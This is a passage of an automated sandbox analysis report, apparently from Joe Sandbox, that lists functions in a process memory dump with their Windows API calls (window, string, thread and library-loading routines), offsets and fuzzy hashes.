Instruction Fuzzy Hash: D6213335205111AFD7149B24D840FAA7B9AEF95324F24924EF526AB3E2C771FC43C790

Function 00EA78F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA8D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00EA790A,?,000000FF,?,00EA8754,00000000,?,0000001C,?,?), ref: 00EA8D8C
Part of subcall function 00EA8D7D: lstrcpyW.KERNEL32(00000000,?,?,00EA790A,?,000000FF,?,00EA8754,00000000,?,0000001C,?,?,00000000), ref: 00EA8DB2
Part of subcall function 00EA8D7D: lstrcmpiW.KERNEL32(00000000,?,00EA790A,?,000000FF,?,00EA8754,00000000,?,0000001C,?,?), ref: 00EA8DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00EA8754,00000000,?,0000001C,?,?,00000000), ref: 00EA7923
lstrcpyW.KERNEL32(00000000,?,?,00EA8754,00000000,?,0000001C,?,?,00000000), ref: 00EA7949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00EA8754,00000000,?,0000001C,?,?,00000000), ref: 00EA7984

Strings

cdecl, xrefs: 00EA797B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 5a0863c2cba5ab1fb6463cbc8d6476e34cb77e1691db6ca5424b8475f0efc576
Instruction ID: 279e2aa856d7fc945494959a697949fcb21b8fe905f86b0adcddd466422e6562
Opcode Fuzzy Hash: 5a0863c2cba5ab1fb6463cbc8d6476e34cb77e1691db6ca5424b8475f0efc576
Instruction Fuzzy Hash: 4411E43A201202AFCB159F35DC45D7B77E9EF8A394B10502BE982DB2A4EB31A811C791

Function 00ED7CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00ED7D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00ED7D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00ED7D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00EBB7AD,00000000), ref: 00ED7D6B

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: fcec1a5cf94dc6aba393990bb998d406c70fdcdb94a8bc9531f58cfa9a425a39
Instruction ID: 1437cfb19b1f96d7c790d72fe1d0ca409bed70d4da367617cf6ea2e54d6ed17d
Opcode Fuzzy Hash: fcec1a5cf94dc6aba393990bb998d406c70fdcdb94a8bc9531f58cfa9a425a39
Instruction Fuzzy Hash: 2111D5312056159FCB108F28DC04AA63BA5FF463B4B219726F975E72F0E730C952DB40

Function 00ED5660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00ED56BB
_wcslen.LIBCMT ref: 00ED56CD
_wcslen.LIBCMT ref: 00ED56D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00ED5816

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 7d9cb05c3cb832c347efa68f8263423dd266ba43598b0bf44f5b77cf597a5089
Instruction ID: b7acd16da99bc6ebd977b3b96b9d3852be27e150291961c4a55df286e678c647
Opcode Fuzzy Hash: 7d9cb05c3cb832c347efa68f8263423dd266ba43598b0bf44f5b77cf597a5089
Instruction Fuzzy Hash: 98110A7264060996DB209F65DC81AFE37ACEF50764B10502BF926F6281E770C985CF61

Function 00E71D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2e5c437d51421e5551404c10169221b634ea65545a398117ee295cc07d602bb
Instruction ID: 3470e3ee83f7b92b20a3af82d048777424f0e8323e579ae71857ff4bbe8dc0a8
Opcode Fuzzy Hash: b2e5c437d51421e5551404c10169221b634ea65545a398117ee295cc07d602bb
Instruction Fuzzy Hash: F4017CB220A7163EFA2116787CC1F67666CDF813B9B35A36AF629B11D2DB608C405560

Function 00EA1A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00EA1A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00EA1A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00EA1A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00EA1A8A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 082d04152f05058cb34b8f7a4c2966d6dafd307dae1e73aa78a88413f6c0e4c4
Instruction ID: b1e8497cad4f14307a88400e4cdeb98964e23569a3f1dc9017fc982d8b87b13b
Opcode Fuzzy Hash: 082d04152f05058cb34b8f7a4c2966d6dafd307dae1e73aa78a88413f6c0e4c4
Instruction Fuzzy Hash: 54110C3AD01219FFEB11DBA5CD85FADBB78EB09754F200091E604B7290D6716E50DB94

Function 00EAE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00EAE1FD
MessageBoxW.USER32(?,?,?,?), ref: 00EAE230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00EAE246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00EAE24D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: daab476b080271b19e84f4b78fb21165fb82e7e694a57adb30fb0f96f2c8aea7
Instruction ID: cc0bad06e8bedfe9b91f018a894be50991c3ab03f2c24aa2224c502481f8a2e0
Opcode Fuzzy Hash: daab476b080271b19e84f4b78fb21165fb82e7e694a57adb30fb0f96f2c8aea7
Instruction Fuzzy Hash: 26110872905259BFC7019BA8AC09BDE7FACEB46354F108256F924F7391D270DD0487B0

Function 00E6D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00E6CFF9,00000000,00000004,00000000), ref: 00E6D218
GetLastError.KERNEL32 ref: 00E6D224
__dosmaperr.LIBCMT ref: 00E6D22B
ResumeThread.KERNEL32(00000000), ref: 00E6D249

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: b9713357dc2122f9a249756cdb567051a06fc89f159c10703d9309f5ddfc67f6
Instruction ID: 25677885a85a2323275547d7ea8a58aa67dfd9b2f949a518af8ae0217eabd9e0
Opcode Fuzzy Hash: b9713357dc2122f9a249756cdb567051a06fc89f159c10703d9309f5ddfc67f6
Instruction Fuzzy Hash: FF012636E8A204BBC7115BA5FC05BAA3BA9DF813B0F205219F924B20E0CB70C901C6A0

Function 00ED9EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

GetClientRect.USER32(?,?), ref: 00ED9F31
GetCursorPos.USER32(?), ref: 00ED9F3B
ScreenToClient.USER32(?,?), ref: 00ED9F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00ED9F7A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: bdc6bf76ea329cb2da865d4b716a45cdc72751a094e0c3220cefbb3ef0f27072
Instruction ID: a48fee5e1c303a6a5359a039c8c41a2a859e4040ad9dea50d7123bdd230e39c4
Opcode Fuzzy Hash: bdc6bf76ea329cb2da865d4b716a45cdc72751a094e0c3220cefbb3ef0f27072
Instruction Fuzzy Hash: 96112532A0011AABDB109F69DC499FE77B9FB05311F500552F911F7242D330AA86CBA1

Function 00E4600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00E4604C
GetStockObject.GDI32(00000011), ref: 00E46060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00E4606A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: b5783e0ad905217875550319bbf3773a7ea60fdde8e1b1d815613e0f9b47a3e3
Instruction ID: 26ec6ad9f68e3d952e3173739283a7e85fe79b4d4a87dcdc620ab66ff31fcb3e
Opcode Fuzzy Hash: b5783e0ad905217875550319bbf3773a7ea60fdde8e1b1d815613e0f9b47a3e3
Instruction Fuzzy Hash: 7711C4B2502509BFEF224FA4EC44EEABB6DFF09395F101202FA1466010C732DC60DB91

Function 00E63B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00E63B56

Part of subcall function 00E63AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00E63AD2
Part of subcall function 00E63AA3: ___AdjustPointer.LIBCMT ref: 00E63AED

_UnwindNestedFrames.LIBCMT ref: 00E63B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00E63B7C
CallCatchBlock.LIBVCRUNTIME ref: 00E63BA4

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: bcc0ba2ee1b9262ccddc979006d1de299d4340fdda2b3b72e4581ab4c3b30731
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 88018C72140149BBDF125EA5EC42EEB3FADEF58798F045004FE4866121C732E961EBA0

Function 00E73073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00E413C6,00000000,00000000,?,00E7301A,00E413C6,00000000,00000000,00000000,?,00E7328B,00000006,FlsSetValue), ref: 00E730A5
GetLastError.KERNEL32(?,00E7301A,00E413C6,00000000,00000000,00000000,?,00E7328B,00000006,FlsSetValue,00EE2290,FlsSetValue,00000000,00000364,?,00E72E46), ref: 00E730B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00E7301A,00E413C6,00000000,00000000,00000000,?,00E7328B,00000006,FlsSetValue,00EE2290,FlsSetValue,00000000), ref: 00E730BF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 492e43957e03f317f6591a1216bf2ead11818b31cdd5c8966ef342e7ca15e91c
Instruction ID: 4ed08233c0a1dd1baa08a69a5f79447377f5317844673ada44cd45e898e277f6
Opcode Fuzzy Hash: 492e43957e03f317f6591a1216bf2ead11818b31cdd5c8966ef342e7ca15e91c
Instruction Fuzzy Hash: A5014732342223AFCB704B79AC44A977B98EF05BA1B208321F909F3180CB21C945D6E0

Function 00EA7464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00EA747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00EA7497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00EA74AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00EA74CA

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 73cbb7f5b7c73d900c3724f7ff855f85503c0259e9532d6da9eee2723a46f5e2
Instruction ID: f7a3ad06131a26305a65de4f042a9f83841bd3fab32c458103c6da9a377d1b83
Opcode Fuzzy Hash: 73cbb7f5b7c73d900c3724f7ff855f85503c0259e9532d6da9eee2723a46f5e2
Instruction Fuzzy Hash: 6B11A1B12063119FE720CF14ED08BD27FFCEB09B44F10856AA6A6EA151D770F908DB50

Function 00EAB0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00EAACD3,?,00008000), ref: 00EAB0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00EAACD3,?,00008000), ref: 00EAB0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00EAACD3,?,00008000), ref: 00EAB0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00EAACD3,?,00008000), ref: 00EAB126

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: db4eac699b7c557d7d5379b3c93bcba3455a4bcbd9dbe1a281a4817f4fc5f85d
Instruction ID: 333d21db13c06685dd44166d9491f9d835b7f99c6eab77e5ba312c8bdac7f1fb
Opcode Fuzzy Hash: db4eac699b7c557d7d5379b3c93bcba3455a4bcbd9dbe1a281a4817f4fc5f85d
Instruction Fuzzy Hash: 20118B30C0252DEBCF04AFE5E9A86EEBB78FF1E311F105096D981B6282CB306650CB51

Function 00ED7E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00ED7E33
ScreenToClient.USER32(?,?), ref: 00ED7E4B
ScreenToClient.USER32(?,?), ref: 00ED7E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00ED7E8A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 1702e718e75c46a069e4fce8d4563cabe30adec5993ef539593f2cb79f4de887
Instruction ID: 4f4c9e6618d67cdc6253bda1589157e603c62c4f9adf12a4ed51cd926888d231
Opcode Fuzzy Hash: 1702e718e75c46a069e4fce8d4563cabe30adec5993ef539593f2cb79f4de887
Instruction Fuzzy Hash: 331156B9D0020AAFDB41CFA9D884AEEBBF5FF08350F505166E915E3210D735AA55CF50

Function 00EA2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00EA2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA2DD6
GetCurrentThreadId.KERNEL32 ref: 00EA2DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00EA2DE4

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 827055fed8b2548c5a5bb4220fa5203504b6e50d5d3464af7464e30e83e3556c
Instruction ID: 81001c7a6a29458d410d2c183386fd63c018ddbca9a45d26b4b5b471622a070f
Opcode Fuzzy Hash: 827055fed8b2548c5a5bb4220fa5203504b6e50d5d3464af7464e30e83e3556c
Instruction Fuzzy Hash: F9E06D711022257BDB201B67AC0DEEB3F6CEF47FA1F10101AB606F90819AA4D884C6B0

Function 00ED8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00E59639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00E59693
Part of subcall function 00E59639: SelectObject.GDI32(?,00000000), ref: 00E596A2
Part of subcall function 00E59639: BeginPath.GDI32(?), ref: 00E596B9
Part of subcall function 00E59639: SelectObject.GDI32(?,00000000), ref: 00E596E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00ED8887
LineTo.GDI32(?,?,?), ref: 00ED8894
EndPath.GDI32(?), ref: 00ED88A4
StrokePath.GDI32(?), ref: 00ED88B2

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 3d0c14fd00eb59fc1fff8cdb5bcbc90c7f6c9e2ae5db48f7d6bae67647f96211
Instruction ID: 135e4c0c619938c97b6be694ba8098f23fb721e73ff772a6e48790f53c55cf30
Opcode Fuzzy Hash: 3d0c14fd00eb59fc1fff8cdb5bcbc90c7f6c9e2ae5db48f7d6bae67647f96211
Instruction Fuzzy Hash: 1CF09A36002259FADB121F95AC09FCE3B69AF06310F508002FA11710E2C7B51515DBE5

Function 00E598B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00E598CC
SetTextColor.GDI32(?,?), ref: 00E598D6
SetBkMode.GDI32(?,00000001), ref: 00E598E9
GetStockObject.GDI32(00000005), ref: 00E598F1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: b9b6f4387e5de3d0ff1cfc0aefef34a35ffebd8f815b4059762c6b01ff9f77ae
Instruction ID: d2ec47e0fc8a638f9833a677932d183443f589799a7b41c3affb7d25300d2a30
